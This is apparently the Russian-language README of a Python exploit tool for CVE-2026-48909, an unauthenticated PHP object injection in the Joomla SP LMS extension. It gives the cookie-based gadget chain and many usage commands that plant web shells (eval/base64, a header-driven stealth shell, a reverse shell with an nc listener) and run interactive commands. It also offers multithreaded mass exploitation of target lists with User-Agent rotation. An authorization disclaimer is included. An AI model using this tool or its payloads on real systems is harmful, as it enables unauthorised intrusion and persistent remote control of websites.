CVE-2026-48909 — Эксплойт неаутентифицированной инъекции PHP-объектов до RCE для расширения Joomla SP LMS версий <= 4.1.3. Использует десериализацию cookie lmsOrders для записи веб-шелла через цепочку гаджетов Joomla FormattedtextLogger. Включает интерактивную оболочку, обнаружение путей и очистку. Только для авторизованного тестирования безопасности.
Инструмент для доказательства концепции уязвимости CVE-2026-48909
Автор: Sudeepa Wanigarathna
[!IMPORTANT] Только для авторизованного использования. Этот инструмент предназначен для исследований в области безопасности, обучения и тестирования систем, которые принадлежат вам или на которые у вас есть явное письменное разрешение. Несанкционированный доступ к компьютерным системам незаконен. Автор не несет ответственности за неправомерное использование.
CVE-2026-48909 — критическая неаутентифицированная PHP-инъекция объектов в расширении Joomla SP LMS. Данный инструмент реализует полную цепочку атаки, позволяя специалистам по безопасности проверить воздействие в лабораторных или авторизованных средах.
Он охватывает обнаружение, поиск путей, доставку нагрузки, интерактивную постэксплуатацию (если разрешено), массовую оценку и необязательную очистку.
| Атрибут | Значение |
|---|---|
| CVE ID | CVE-2026-48909 |
| CVSS | 9.5 (Критическая) |
| Вектор атаки | Сеть — без аутентификации |
| Воздействие | Удаленное выполнение кода |
| Затронутый продукт | Joomla SP LMS |
| Затронутые версии | 1.0.0 – 4.1.3 |
| Исправленная версия | SP LMS 4.1.4+ |
| Цепочка гаджетов | Требуется Joomla < 5.2.2 |
| Компонент | Версия | RCE |
|---|---|---|
| SP LMS | < 4.1.4 | Уязвим |
| SP LMS | ≥ 4.1.4 | Исправлен |
| Joomla | < 5.2.2 | Цепочка гаджетов работоспособна |
| Joomla | ≥ 5.2.2 | Цепочка гаджетов исправлена |
| Возможность | Описание |
|---|---|
| Неаутентифицированная эксплуатация | Учетные данные не требуются |
| Множество нагрузок | 7 вариантов веб-шеллов / исполнения |
| Интерактивная оболочка | Сессия с историей команд после развертывания |
| Поиск пути | Автоматический поиск путей для записи |
| Очистка | Удаление развернутого веб-шелла после тестов |
| Возможность | Описание |
|---|---|
| Массовое сканирование | Многопоточный список целей (1000+) |
| Поддержка прокси | HTTP/SOCKS (Burp, ZAP и др.) |
| Реверс-шелл | Нагрузки с прослушивателем |
| Скрытый режим | Каналы команд через заголовки / POST |
| Рандомизация | UUID-имена шеллов, ротация User-Agent |
| Отчетность | Экспорт в JSON, HTML или CSV |
| Помощь в обнаружении | Проверка версий Joomla, --check-only, --safe-mode |
cmd в Joomlapipcd exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 "CVE-2026-48909 v3.0.py" --help
requests>=2.31.0
urllib3>=2.0.0
argparseпоставляется со стандартной библиотекой Python; устанавливать его через pip не требуется.
Замените
https://target.exampleна лабораторную или авторизованную цель.
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html
# Прослушиватель
nc -lvnp 4444
# Цель эксплуатации
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path \
--shell-type reverse \
--reverse-host 192.168.1.100 \
--reverse-port 4444
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path --interactive \
--proxy http://127.0.0.1:8080 \
--insecure
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php
https://lab-a.example
https://lab-b.example
https://lab-c.example
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json
| Аргумент | Описание |
|---|---|
target | URL одной цели |
--targets, -T FILE | Файл со списком целей (по одному URL на строку) |
--path PATH | Абсолютный серверный путь для веб-шелла |
--shell-type TYPE | minimal, standard, stealth, base64, full, reverse, blindshell |
--shell-name NAME | Имя файла веб-шелла (по умолчанию: x.php) |
| Аргумент | Описание |
|---|---|
--timeout SECONDS | Тайм-аут запроса (по умолчанию: 15) |
--insecure | Пропустить проверку TLS-сертификата |
--proxy URL | Например, http://127.0.0.1:8080 |
--random-ua | Ротация User-Agent (включено по умолчанию) |
--delay SECONDS | Задержка между запросами |
| Аргумент | Описание |
|---|---|
--reverse-host HOST | Хост прослушивателя |
--reverse-port PORT | Порт прослушивателя |
| Аргумент | Описание |
|---|---|
--interactive, -i | Интерактивная оболочка после развертывания |
--check-only | Только проверка уязвимости |
--safe-mode | Неразрушающее тестирование |
--find-path | Автоматическое обнаружение пути для записи |
--cmd COMMAND | Выполнить одну команду и завершить работу |
--cleanup PATH | Удалить веб-шелл по указанному пути |
--cleanup-after | Очистка после эксплуатации |
| Аргумент | Описание |
|---|---|
--threads NUM | Потоки-обработчики (по умолчанию: 10) |
--export FILE | Путь для сохранения результатов |
--export-format FORMAT | json, html, csv (по умолчанию: json) |
| Аргумент | Описание |
|---|---|
--log-file FILE | Запись логов в файл |
--quiet, -q | Тихий режим |
--verbose, -v | Подробный вывод |
--no-banner | Скрыть баннер |
| Тип | Поведение | Обычное применение |
|---|---|---|
minimal | Компактное исполнение через GET | Ограниченное пространство / быстрая проверка |
standard | GET + POST cmd (по умолчанию) | Общие оценки |
stealth | Команда через заголовок X-Cmd | Уменьшение логирования URL |
base64 | eval(base64_decode(...)) через POST | Лаборатории по обходу фильтров |
full | GET/POST + канал base64 | Более широкий контроль |
reverse | Подключаемая обратно оболочка | Постоянный доступ в лаборатории |
blindshell | Альтернативный шаблон включения / выполнения | Ограниченные среды |
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type minimal --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path -i
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type reverse \
--reverse-host 10.0.0.1 --reverse-port 4444 --find-path
flowchart TD
A["Управляемая атакующим cookie lmsOrders"] --> B["unserialize() в cart.php"]
B --> C["FormattedtextLogger::__destruct()"]
C --> D["File::write() — сброс PHP"]
D --> E["Веб-шелл на диске"]
E --> F["Удаленное выполнение команд"]components/com_splms/models/cart.php десериализует cookie lmsOrders, декодированную из base64.Joomla\CMS\Log\Logger\FormattedtextLogger::__destruct() запускает запись в файловую систему./, =, +).Фильтр cmd в Joomla может отбрасывать /, = и +. Этот инструмент компенсирует это путем:
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> whoami
www-data
shell> pwd
/var/www/html
shell> exit
{
"timestamp": "2026-07-16T10:30:00.123456",
"target": "https://lab.example",
"shell_path": "/tmp/x_abc123def.php",
"shell_url": "https://lab.example/tmp/x_abc123def.php",
"shell_type": "standard",
"vulnerable": true,
"exploited": true,
"joomla_version": "4.3.2",
"detected_paths": [
"/tmp/x_abc123def.php",
"/images/x_abc123def.php",
"/cache/x_abc123def.php"
],
"author": "Sudeepa Wanigarathna",
"tool_version": "3.0"
}
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
| Симптом | Что попробовать |
|---|---|
| Не удалось сгенерировать безопасную для фильтра нагрузку | Используйте другой --path или --find-path; избегайте необычных символов в пути |
| Проверка шелла не удалась | Увеличьте --timeout; попробуйте --shell-type standard; убедитесь, что system() и подобные не отключены; проверьте возможность записи |
| Цель не выглядит уязвимой | SP LMS ≤ 4.1.3, Joomla < 5.2.2, com_splms присутствует; проверьте блокировки WAF |
| HTTP 500 | --insecure, --timeout 30, просмотрите логи приложения / сервера |
| Отказ в подключении к прокси | Убедитесь, что прокси слушает; проверьте схему URL, хост и порт |
| Ошибка проверки TLS | Добавьте --insecure для лабораторных конечных точек с некорректными сертификатами |
# Подробный вывод + файл лога
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path -v --log-file debug.log
# Через Burp
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path \
--proxy http://127.0.0.1:8080 --insecure -v
# Сначала неразрушающий тест
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
exploit/
├── CVE-2026-48909 v3.0.py # Основной инструмент (v3.0)
├── requirements.txt # Python-зависимости
├── README.md # Этот файл
└── venv/ # Локальная виртуальная среда (опционально, не в репозитории)
Дополнительные файлы для публичного релиза:
targets.txt.example
docs/technical-details.md
examples/basic-exploit.sh
examples/mass-scan.sh
Этот проект предоставляется как есть для оборонительных исследований безопасности и авторизованного тестирования на проникновение.
Используя данное программное обеспечение, вы соглашаетесь с тем, что:
Если вы обнаружили эту уязвимость в реальных условиях, следуйте практике ответственного раскрытия и координируйте действия с вендором / CERT, где это уместно.
Sudeepa Wanigarathna
Исследователь безопасности · Этичный хакинг · Исследование уязвимостей · Инструментарий на Python
Только для авторизованного тестирования безопасности.